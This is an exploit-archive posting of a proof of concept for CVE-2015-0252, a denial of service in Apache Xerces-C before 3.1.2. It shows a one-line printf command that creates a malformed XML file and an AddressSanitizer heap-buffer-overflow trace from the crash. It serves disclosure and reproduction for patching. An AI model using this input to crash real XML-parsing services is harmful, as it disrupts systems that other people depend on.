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Apache Xerces-C XML Parser Denial Of Service

Apache Xerces-C XML Parser Denial Of Service
Posted May 5, 2015
Authored by beford

Apache Xerces-C XML Parser versions prior to 3.1.2 denial of service proof of concept exploit.

tags | exploit, denial of service, proof of concept
advisories | CVE-2015-0252
SHA-256 | 30488ede2d26367dc473ba4f0b4e4ca46266e68ea2122a7b653d4edb9c6d6595

Apache Xerces-C XML Parser Denial Of Service

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# Exploit Title: Apache Xerces-C XML Parser (< 3.1.2) DoS POC
# Date: 2015-05-03
# Exploit Author: beford
# Vendor Homepage: http://xerces.apache.org/#xerces-c
# Version: Versions prior to 3.1.2
# Tested on: Ubuntu 15.04
# CVE : CVE-2015-0252

Apache Xerces-C XML Parser Crashes on Malformed Input

I believe this to be the same issue that was reported on CVE-2015-0252,
posting this in case anyone is interested in reproducing it.

Original advisory:
https://xerces.apache.org/xerces-c/secadv/CVE-2015-0252.txt

$ printf "\xff\xfe\x00\x00\x3c" > file.xml

$ DOMPrint ./file.xml # Ubuntu 15.04 libxerces-c3.1 package
Segmentation fault

$ ./DOMPrint ./file.xml # ASAN Enabled build
=================================================================
==6831==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb5d9d87c
at pc 0x836a721 bp 0xbf8127a8 sp 0xbf812798
READ of size 1 at 0xb5d9d87c thread T0
#0 0x836a720 in xercesc_3_1::XMLReader::refreshRawBuffer()
xercesc/internal/XMLReader.cpp:1719
#1 0x836a720 in xercesc_3_1::XMLReader::xcodeMoreChars(unsigned short*,
unsigned char*, unsigned int) xercesc/internal/XMLReader.cpp:1761
#2 0x837183f in xercesc_3_1::XMLReader::refreshCharBuffer()
xercesc/internal/XMLReader.cpp:576
#3 0x837183f in xercesc_3_1::XMLReader::peekString(unsigned short
const*) xercesc/internal/XMLReader.cpp:1223
#4 0x83ad0ae in xercesc_3_1::ReaderMgr::peekString(unsigned short
const*) xercesc/internal/ReaderMgr.hpp:385
#5 0x83ad0ae in xercesc_3_1::XMLScanner::checkXMLDecl(bool)
xercesc/internal/XMLScanner.cpp:1608
#6 0x83b6469 in xercesc_3_1::XMLScanner::scanProlog()
xercesc/internal/XMLScanner.cpp:1244
#7 0x8d69220 in
xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&)
xercesc/internal/IGXMLScanner.cpp:206
#8 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short
const*) xercesc/internal/XMLScanner.cpp:400
#9 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*)
xercesc/internal/XMLScanner.cpp:408
#10 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*)
xercesc/parsers/AbstractDOMParser.cpp:601
#11 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398
#12 0xb6f5272d in __libc_start_main
(/lib/i386-linux-gnu/libc.so.6+0x1872d)
#13 0x805d3b5 (/ramdisk/DOMPrint+0x805d3b5)

0xb5d9d87c is located 0 bytes to the right of 163964-byte region
[0xb5d75800,0xb5d9d87c)
allocated by thread T0 here:
#0 0xb72c3ae4 in operator new(unsigned int)
(/usr/lib/i386-linux-gnu/libasan.so.1+0x51ae4)
#1 0x8340cce in xercesc_3_1::MemoryManagerImpl::allocate(unsigned int)
xercesc/internal/MemoryManagerImpl.cpp:40
#2 0x8094cb2 in xercesc_3_1::XMemory::operator new(unsigned int,
xercesc_3_1::MemoryManager*) xercesc/util/XMemory.cpp:68
#3 0x8daaaa7 in
xercesc_3_1::IGXMLScanner::scanReset(xercesc_3_1::InputSource const&)
xercesc/internal/IGXMLScanner2.cpp:1284
#4 0x8d6912a in
xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&)
xercesc/internal/IGXMLScanner.cpp:198
#5 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short
const*) xercesc/internal/XMLScanner.cpp:400
#6 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*)
xercesc/internal/XMLScanner.cpp:408
#7 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*)
xercesc/parsers/AbstractDOMParser.cpp:601
#8 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398
#9 0xb6f5272d in __libc_start_main
(/lib/i386-linux-gnu/libc.so.6+0x1872d)

SUMMARY: AddressSanitizer: heap-buffer-overflow
xercesc/internal/XMLReader.cpp:1719
xercesc_3_1::XMLReader::refreshRawBuffer()

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